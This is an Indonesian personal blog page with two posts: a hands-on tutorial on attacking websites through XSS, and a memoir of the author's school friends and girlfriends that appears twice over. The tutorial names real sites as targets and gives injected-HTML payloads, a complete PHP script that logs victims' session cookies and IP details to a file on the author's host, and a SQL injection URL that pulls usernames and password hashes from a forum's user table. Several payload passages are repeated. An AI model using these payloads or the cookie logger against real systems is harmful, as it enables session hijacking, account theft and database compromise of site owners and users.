Kamis, 01 Maret 2012
Minggu, 19 Februari 2012
Web Hacking dengan XSS
nah kali ini ane ingin berbagi pengetahuan dengan sobat blogger tentang web hacking dengan XSS, mungkin ada yang belum tau, apa itu XSS..
(XSS)Cross site scripting adalah kelemahan keamanan yang terjadi pada penggunaan teknologi dynamic page. Cross site scripting dapat diartikan sebagai kelemahan yang terjadi akibat ketidakmampuan server dalam memvalidasi input yang diberikan oleh pengguna. Algoritma, yang digunakan untuk pembuatan halaman yang diinginkan, tidak mampu melakukan penyaringan terhadap masukkan tersebut.Hal ini memungkinkan halaman yang dihasilkan menyertakan perintah yang sebenarnya tidak diperbolehkan.
Cross site scripting merupakan kelemahan yang populer untuk dieksploitasi. Namun sayangnya, banyak penyedia layanan yang tidak mengakui kelemahan tersebut dan melakukan perubahan pada sistem yang mereka gunakan.Citra penyedia layanan merupakan harga yang dipertaruhkan ketika mereka mengakui kelemahan tersebut.Sayangnya dengan tindakan ini konsumen atau pengguna menjadi pihak yang dirugikan.
Cross site scripting bekerja bak penipu dengan kedok yang mampu mengelabui orang yang tidak waspada. Elemen penting dari keberhasilan cross site scripting adalah social engineering yang baik dari si penipu. Social engineeringmerupakan elemen terpenting yang menentukan keberhasilan penipuan yang akan dilakukan. Cross site scripting memampukan seseorang yang tidak bertanggungjawab.
nah cukup buat teori nya, lang sung aja prakteknya..
seperti yang kita ketahui bahwa XSS, merupakan suatu cara menyilangkan situs target debgan script yang kita buat,, pertama-tama, kita harus mengetahui situs yang kita jadikan target itu vuln atau gak, supaya gampang agan bisa makai software acunetix,, agan bisa download disini.
setelah kita mengetahui bahwa situs itu rentan di hack maka, mulai lah kita membangun script untuk melakukan penyilangan tersebut, baik itu SQL, PHP, dsb..
contoh disini ane menemukan beberapa situs yang rentan terhadap XSS, yaitu situs PLN, sman1 cilacap, dan situs arthagraha.com ..disitus PLN ane menemukan page yang sangat rentan terhadap XSS, yaitu pada direktori berikut http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan= seterusnya kita buat script yang sesuai untuk menyilangkan situs tersebut, hingga halaman tersebut akan terliahat berbeda,, contoh scriptnya :
" style="display:none"></iframe><p align="center"><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="_blank"><img src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" border="0"></a></p><iframe style="display:none">
setelah itu gabungkan url yang vuln tadi dengan script yang kita buat tadi.. maka akan menghasilkan penampakan seperti berikut :
http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan=" style="display:none"></iframe><p align="center"><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="_blank"><img src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" border="0"></a></p><iframe style="display:none">
jika agan masuk ke URL tersebut akan mendapatkan halaman seperti gambar berikut :
Nah tidak Cuma sampai disitu web hacking dengan XSS,, jika admin dari web tersebut mengklik gambar yang kita tanam di halaman web tersebut maka secara otomatis data dari admin tersebut akan kita tangkap yakni cookiesnya.. tapi disini saya tidak membahas hacking web dengan cookies, mungkin lain kali.. J
Script untuk mencuri data tersebut merupakan script php yang telah kita upload sebelum nya di hostingan kita.. ini contoh script php nya :
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
Dan jika admin atau orang lain yang mengklik gambar tersebut kita akan mendapatkan data mereka seperti berikut :
http://keamanan-komputer.webhostingindonesia.net/log.txt (silahkan diklik untuk melihat contoh data yang tertangkap )
dan contoh lainnya situs yang rentan XSS..
http://www.arthagraha.com/NewsPOP.asp?title=Critical Cross Site Scripting!</title></head><body><center><h1>XSSED</h1>by<br><br><b>FLANOIDS<br>http://flanoids.blogspot.com<br><br><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="new"><img border="0" src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" alt="Enter Kelompok 6 - http://keamanan-komputer.webhostingindonesia.net/"></a><noscript>
dan yang satu ini merupakan XSS dengan SQL injection, yang berfungsi untuk menampilkan username dan password user dalam situs tersebut, akan tetapi password masih dala bahasa MD5, dan kita harus mendeskripsikan bahasa MD5 tersebut terlebih dahulu..
http://www.sman1clp.com/index.php?cat=artikel&idartikel=-28 union select 1,2,3,group_concat(user_id,0x2d2d,username,0x2d2d,user_password),5 from phpbb_users
http://www.arthagraha.com/NewsPOP.asp?title=Critical Cross Site Scripting!</title></head><body><center><h1>XSSED</h1>by<br><br><b>FLANOIDS<br>http://flanoids.blogspot.com<br><br><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="new"><img border="0" src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" alt="Enter Kelompok 6 - http://keamanan-komputer.webhostingindonesia.net/"></a><noscript>
dan yang satu ini merupakan XSS dengan SQL injection, yang berfungsi untuk menampilkan username dan password user dalam situs tersebut, akan tetapi password masih dala bahasa MD5, dan kita harus mendeskripsikan bahasa MD5 tersebut terlebih dahulu..
http://www.sman1clp.com/index.php?cat=artikel&idartikel=-28 union select 1,2,3,group_concat(user_id,0x2d2d,username,0x2d2d,user_password),5 from phpbb_users
sekian dari saya yang masih sangat nubie ini, harap maklum karena saya masih pemula yang ingin berbagi, dan artikel ini saya buat hanya untuk bahan pembelajaran semata bukan untuk mengajarkan berbuat jahat.. mohon maaf jika ada kata-kata yang salah, wasalam.. J
Jumat, 17 Februari 2012
"ceritaku dan kenanganku bersama sahabat"
Ini adalah cerita kenangan yg sangat berarti u/ ku. Aku tulis catatan ini u/ mengingat mereka semua yg teramat baik.
Aku lahir dan dibesarkan di kota ku tercinta,pekanbaru. Dulu sebelum aku tinggal ditempatku yg sekarang, aku pernah tinggal didaerah yg bernama sukajadi. Aku menetap disana cuma hingga aku menginjak kelas 1 sd. Tepatnya hingga berumur 6 tahun. Disana banyak sahabat baik yg pernah ku kenal, walaupun aku tidak terlalu ingat dgn mereka, bahkan mungkin jika bertemu lagi sekarang, aku tak bakal bisa mengenali wajah mereka. Tapi yg pasti aku sangat ingat nama-nama mereka.
Uni ; seorang yg sudah kuanggap sperti kakak kandungku sendiri, bg fauzan ; teman yg tak pernah lelah bermain menikmati masa kecilnya dgn ku, ridho&rudi atau yg ku kenal abang-adek ; kembaran yg sangat menyenangkan, johan ; sahabat baik ku ketika Tk, dan banyak lagi sahabat-sahabat lainnya waktu itu.
Aku cukup sedih ketika aku harus pindah dan meninggalkan mereka semua, karena mereka telah mengisi kebahagiaan masa kanak-kanakku. "I miss them so much"
Dan akhirnya aku pindah kedaerah panam, gak nyampe panam sih, tp tepatnya diardhat, disana aku juga mempunyai banyak teman, teman yg mengajarkanku arti solidaritas. Mereka adalah ronal,rizky,rudi,baik,alpin,bg rio,bg donal,bg ijun,dan banyak lagi. Mereka adalah teman yg baik yg baru kukenal dilingkungan ku yg baru, dgn karakter mereka yg masing-masing berbeda. Dan di SD yg baru, aku juga mempunyai byk teman. Bahkan u/ pertama kalinya disini aku menyukai seorang gadis karena kecantikan dan kebaikan hatinya, dan dia sempat menjadi sahabat baik ku waktu itu.
Banyak kenangan indah yg kulalui bersama mereka. Aku berfikir, seandainya masa-masa itu terulang kembali, aku ingin selamanya bersama mereka.
Dan akhirnya aku merasakan duduk dibangku SMP , di SMP aku tidaklah terlalu canggung, karena banyak teman-teman SD ku yg melanjutkan sekolahnya di SMP yg sama dengan ku.
Aku ingat waktu SMP aku mempunyai dua orang sahabat yg selalu bersamaku. Mereka adalah bimbi dan randi, mereka adalah teman sekelas ku dari kelas 1 sampai kelas 3. Awalnya kami tidak terlalu akrab, tp karena kami sama-sama mengikuti ekskul pramuka, keakraban kami perlahan mulai terbangun di sana, dari mulai cari cewek, ikut les bareng, melakukan berbagai macam pertualangan.. Hmm.. They're my best friend.
Di waktu SMP itu juga pertama kalinya aku pacaran, tepatnya waktu aku duduk di bangku kelas 1 SMP. nama pacar pertama aku itu suci. Awalnya aku tak mengira bisa pacaran dgn nya, karena waktu itu yg mati-matian ngejar dia itu teman aku, dan aku gak pernah kepikiran jd rival teman aku itu. Dan juga waktu itu aku menyukai erika, yg tidak lain adalah sahabat dari suci. Tapi karena aku dan suci perlahan mulai akrab di kegiatan ekskul pramuka, dan aku mulai menyukai suci, gimana aku gak suka, dia yg kurasa kebaikan hatinya dan dia juga primadona yg berparas cantik waktu itu, dan banyak yg mengejar-ngejar dia u/ jd pacarnya. Dan akhirnya kami pun pacaran. Dia pacar sekaligus seperti kakak ku, karena sifatnya dewasa yg perhatian dan sabar ngadapin aku yg cuek. Tp pada akhir nya kami putus juga, mungkin karena dia capek ngadapin aku yg cuek. Tapi saat itu dia tetap jd sahabat aku walaupun kami tak mungkin bisa balekan lagi karena ego masing-masing.
Oh iya, tak afdol rasanya kalo aku gak nyebutin pacar aku satunya lagi waktu di SMP, nama nya Elsa, dia adek kelas aku, memang pada awalnya dia hanya sbg pelarian buat aku, karena aku patah hati suci punya pacar baru, tp akhirnya aku benaran suka sama dia, Elsa cewek yg bisa di bilang adek kelas yg cantik bangat waktu itu, waktu itu pun aku punya banyak saingan, maklum lah cewek cakep banyak yg suka. Dan lagi-lagi aku kenal cewek dan akhir nya pacaran karena sama-sama ikutan ekskul pramuka. Hehe..^^ emang ekskul pramuka adalah ajangnya pdkt dan mencari pacar.
Tapi aku dan elsa tak lama pacaran dan akhirnya kami putus. Yaitu lagi-lagi karena sifat aku yg terlalu cuek. Aku gak bisa nunjukin prasaan aku yg sbenarnya, tapi ya sudah lah.
Dan waktu SMP banyak lagi kenangan-kenangan yg menyenangkan pada waktu itu dan ada juga sih yg gak nyenangin, salah satu nya waktu kelas 3 SMP, Yg wajah ku mulai jerawatan, houft.. T_T
Waktu SMA, Banyak juga kenangan-kenangan yang menyenangkan waktu itu, tapi kayaknya ne catatan udah kepanjangan.
Mungkin di SMA ne aku udah mulai alim. Hehe..^^ namanya aja SMA muhammadiyah, gimana gak alim, toh disana banyak pelajaran agamanya.
Di SMA aku gak pernah pacaran, tp sempat dekat sama beberapa orang cewek, tp gimana lg emang gak laku. Hehe..
Tapi yg paling berkesan ada satu orang cewek, aku gak mau nyebutin namanya. Jujur, aku benaran kagum sama dia, dia itu cantiknya diatas rata-rata lah dan di juga kelihatannya ngerti banget sama agama, dan pernah suatu ketika aku lihat dia pidato pakai bahasa arab, wah keren banget.. Sampai sekarang aku juga masih berharap bisa dekat dgn dia. Tp wallahualam lah.. Lagian aku juga gak pernah tau sifat dia yg sebenarnya walaupun kami pernah dekat.
Kayaknya ne catatan udah kepanjangan banget, oh iya , skrg, saat aku menulis catatan ne aku udah kuliah smster 3 di UIN SUSKA. Dan aku menulis ctatan ne cuma buat mengingat kenangan2 indah itu dan smoga aku tak melupakannya hingga akhir ayat. "makasih buat teman-teman yg udah buat hdup aku brarti, suatu kbhagiaan bs mengenal kalian smua". []
Aku lahir dan dibesarkan di kota ku tercinta,pekanbaru. Dulu sebelum aku tinggal ditempatku yg sekarang, aku pernah tinggal didaerah yg bernama sukajadi. Aku menetap disana cuma hingga aku menginjak kelas 1 sd. Tepatnya hingga berumur 6 tahun. Disana banyak sahabat baik yg pernah ku kenal, walaupun aku tidak terlalu ingat dgn mereka, bahkan mungkin jika bertemu lagi sekarang, aku tak bakal bisa mengenali wajah mereka. Tapi yg pasti aku sangat ingat nama-nama mereka.
Uni ; seorang yg sudah kuanggap sperti kakak kandungku sendiri, bg fauzan ; teman yg tak pernah lelah bermain menikmati masa kecilnya dgn ku, ridho&rudi atau yg ku kenal abang-adek ; kembaran yg sangat menyenangkan, johan ; sahabat baik ku ketika Tk, dan banyak lagi sahabat-sahabat lainnya waktu itu.
Aku cukup sedih ketika aku harus pindah dan meninggalkan mereka semua, karena mereka telah mengisi kebahagiaan masa kanak-kanakku. "I miss them so much"
Dan akhirnya aku pindah kedaerah panam, gak nyampe panam sih, tp tepatnya diardhat, disana aku juga mempunyai banyak teman, teman yg mengajarkanku arti solidaritas. Mereka adalah ronal,rizky,rudi,baik,alpin,bg rio,bg donal,bg ijun,dan banyak lagi. Mereka adalah teman yg baik yg baru kukenal dilingkungan ku yg baru, dgn karakter mereka yg masing-masing berbeda. Dan di SD yg baru, aku juga mempunyai byk teman. Bahkan u/ pertama kalinya disini aku menyukai seorang gadis karena kecantikan dan kebaikan hatinya, dan dia sempat menjadi sahabat baik ku waktu itu.
Banyak kenangan indah yg kulalui bersama mereka. Aku berfikir, seandainya masa-masa itu terulang kembali, aku ingin selamanya bersama mereka.
Dan akhirnya aku merasakan duduk dibangku SMP , di SMP aku tidaklah terlalu canggung, karena banyak teman-teman SD ku yg melanjutkan sekolahnya di SMP yg sama dengan ku.
Aku ingat waktu SMP aku mempunyai dua orang sahabat yg selalu bersamaku. Mereka adalah bimbi dan randi, mereka adalah teman sekelas ku dari kelas 1 sampai kelas 3. Awalnya kami tidak terlalu akrab, tp karena kami sama-sama mengikuti ekskul pramuka, keakraban kami perlahan mulai terbangun di sana, dari mulai cari cewek, ikut les bareng, melakukan berbagai macam pertualangan.. Hmm.. They're my best friend.
Di waktu SMP itu juga pertama kalinya aku pacaran, tepatnya waktu aku duduk di bangku kelas 1 SMP. nama pacar pertama aku itu suci. Awalnya aku tak mengira bisa pacaran dgn nya, karena waktu itu yg mati-matian ngejar dia itu teman aku, dan aku gak pernah kepikiran jd rival teman aku itu. Dan juga waktu itu aku menyukai erika, yg tidak lain adalah sahabat dari suci. Tapi karena aku dan suci perlahan mulai akrab di kegiatan ekskul pramuka, dan aku mulai menyukai suci, gimana aku gak suka, dia yg kurasa kebaikan hatinya dan dia juga primadona yg berparas cantik waktu itu, dan banyak yg mengejar-ngejar dia u/ jd pacarnya. Dan akhirnya kami pun pacaran. Dia pacar sekaligus seperti kakak ku, karena sifatnya dewasa yg perhatian dan sabar ngadapin aku yg cuek. Tp pada akhir nya kami putus juga, mungkin karena dia capek ngadapin aku yg cuek. Tapi saat itu dia tetap jd sahabat aku walaupun kami tak mungkin bisa balekan lagi karena ego masing-masing.
Oh iya, tak afdol rasanya kalo aku gak nyebutin pacar aku satunya lagi waktu di SMP, nama nya Elsa, dia adek kelas aku, memang pada awalnya dia hanya sbg pelarian buat aku, karena aku patah hati suci punya pacar baru, tp akhirnya aku benaran suka sama dia, Elsa cewek yg bisa di bilang adek kelas yg cantik bangat waktu itu, waktu itu pun aku punya banyak saingan, maklum lah cewek cakep banyak yg suka. Dan lagi-lagi aku kenal cewek dan akhir nya pacaran karena sama-sama ikutan ekskul pramuka. Hehe..^^ emang ekskul pramuka adalah ajangnya pdkt dan mencari pacar.
Tapi aku dan elsa tak lama pacaran dan akhirnya kami putus. Yaitu lagi-lagi karena sifat aku yg terlalu cuek. Aku gak bisa nunjukin prasaan aku yg sbenarnya, tapi ya sudah lah.
Dan waktu SMP banyak lagi kenangan-kenangan yg menyenangkan pada waktu itu dan ada juga sih yg gak nyenangin, salah satu nya waktu kelas 3 SMP, Yg wajah ku mulai jerawatan, houft.. T_T
Waktu SMA, Banyak juga kenangan-kenangan yang menyenangkan waktu itu, tapi kayaknya ne catatan udah kepanjangan.
Mungkin di SMA ne aku udah mulai alim. Hehe..^^ namanya aja SMA muhammadiyah, gimana gak alim, toh disana banyak pelajaran agamanya.
Di SMA aku gak pernah pacaran, tp sempat dekat sama beberapa orang cewek, tp gimana lg emang gak laku. Hehe..
Tapi yg paling berkesan ada satu orang cewek, aku gak mau nyebutin namanya. Jujur, aku benaran kagum sama dia, dia itu cantiknya diatas rata-rata lah dan di juga kelihatannya ngerti banget sama agama, dan pernah suatu ketika aku lihat dia pidato pakai bahasa arab, wah keren banget.. Sampai sekarang aku juga masih berharap bisa dekat dgn dia. Tp wallahualam lah.. Lagian aku juga gak pernah tau sifat dia yg sebenarnya walaupun kami pernah dekat.
Kayaknya ne catatan udah kepanjangan banget, oh iya , skrg, saat aku menulis catatan ne aku udah kuliah smster 3 di UIN SUSKA. Dan aku menulis ctatan ne cuma buat mengingat kenangan2 indah itu dan smoga aku tak melupakannya hingga akhir ayat. "makasih buat teman-teman yg udah buat hdup aku brarti, suatu kbhagiaan bs mengenal kalian smua". []





